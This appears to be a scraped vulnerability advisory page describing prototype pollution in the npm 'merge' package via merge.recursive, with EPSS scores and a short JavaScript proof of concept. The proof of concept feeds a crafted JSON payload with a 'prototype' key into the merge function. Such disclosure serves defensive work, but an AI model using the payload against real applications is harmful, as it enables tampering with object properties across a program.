Lucene search

K
huntrAsjidkalam1-NPM-MERGE
HistorySep 23, 2020 - 12:00 a.m.

Prototype Pollution in yeikos/js.merge

2020-09-2300:00:00
asjidkalam
www.huntr.dev
9

EPSS

0.004

Percentile

72.2%

Overview

merge is used to merge multiple objects into one object.

Affected versions of this package are vulnerable to Prototype Pollution via the merge.recursive function.
It can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.

Proof of Concept

var mergelib = require('merge');

var obj = mergelib({}, JSON.parse('{ "testProperty": "hi", "prototype" : { "status" : "pwned!" } }'));
console.log(obj.prototype.status);

EPSS

0.004

Percentile

72.2%